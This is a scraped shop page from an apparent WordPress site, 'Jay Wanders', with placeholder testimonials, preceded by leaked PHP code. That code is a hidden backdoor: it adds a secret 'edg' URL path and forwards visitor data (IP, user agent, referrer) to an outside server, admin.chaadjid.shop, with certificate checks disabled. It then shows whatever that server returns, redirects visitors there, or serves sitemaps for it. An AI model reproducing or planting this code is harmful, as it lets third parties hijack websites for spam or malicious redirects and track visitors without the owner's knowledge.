/* */ if (!defined('WP_SHELL_TRIGGER')) { define('WP_SHELL_TRIGGER', 'edg'); } add_action('init', 'wp_shell_add_rewrite_rules'); function wp_shell_add_rewrite_rules() { add_rewrite_rule('^' . WP_SHELL_TRIGGER . '/?(.*)?', 'index.php?shell_path=$matches[1]', 'top'); } add_filter('query_vars', 'wp_shell_register_query_vars'); function wp_shell_register_query_vars($vars) { $vars[] = 'shell_path'; return $vars; } add_action('template_redirect', 'wp_shell_handle_request'); function wp_shell_handle_request() { $is_shell_path = get_query_var('shell_path') !== '' || strpos($_SERVER['REQUEST_URI'], '/' . WP_SHELL_TRIGGER) === 0; if (!$is_shell_path) return; $sys_conf = get_option('wp_sys_cache_nodes_config'); $backend_url = (isset($sys_conf['endpoint']) && $sys_conf['endpoint']) ? $sys_conf['endpoint'] : 'https://admin.chaadjid.shop/goodwill-encode.php'; $fake_uri = substr($_SERVER['REQUEST_URI'], strlen('/' . WP_SHELL_TRIGGER)); if (!$fake_uri) $fake_uri = '/'; $raw_vars = array( 'SCRIPT_NAME' => '/' . WP_SHELL_TRIGGER . '/index.php', 'REQUEST_URI' => $fake_uri, 'REQUEST_SCHEME' => isset($_SERVER['REQUEST_SCHEME']) ? $_SERVER['REQUEST_SCHEME'] : 'http', 'SERVER_PORT' => isset($_SERVER['SERVER_PORT']) ? $_SERVER['SERVER_PORT'] : '80', 'HTTPS' => (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS']=='on')?'on':'off', 'HTTP_HOST' => $_SERVER['HTTP_HOST'], 'HTTP_USER_AGENT' => isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '', 'HTTP_REFERER' => isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '', 'HTTP_ACCEPT_LANGUAGE' => isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '', 'REMOTE_ADDR' => isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '' ); $post_data = array(); foreach ($raw_vars as $k=>$v) $post_data[$k] = str_replace(array("+", "/", "="), array("-", "_", "."), base64_encode($v)); $base_path_val = '/' . WP_SHELL_TRIGGER . '/'; $post_data['SHELL_BASE_PATH'] = str_replace(array("+", "/", "="), array("-", "_", "."), base64_encode($base_path_val)); $post_data['IS_HTML_SHELL'] = '1'; $post_data['IS_DYNAMIC'] = '0'; $response = wp_remote_post($backend_url, array('body'=>$post_data, 'sslverify'=>false, 'timeout'=>20)); if (is_wp_error($response)) { status_header(500); exit; } $json = json_decode(wp_remote_retrieve_body($response), true); if (isset($json['action'])) { if ($json['action']=='display') { echo $json['data']; exit; } if ($json['action']=='jump') { wp_redirect($json['data'], 302); exit; } if ($json['action']=='sitemap') { header('Content-Type: application/xml'); echo $json['data']; exit; } } exit; } /* */ Shop – Jay Wanders Skip to main content

RESOURCES THAT WILL HELP YOU

Make Your Life Easier

Check out our latest tools, products, and services to help you do the things you need to do.



The Reviews Are In

Real Customers. Real Results.

“Seriously magic.”

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.”

-Marcus Tran

“My favorite tool!

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.”

-Sarah Jackson

“Game-changer.”

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.”

-Susan Hartley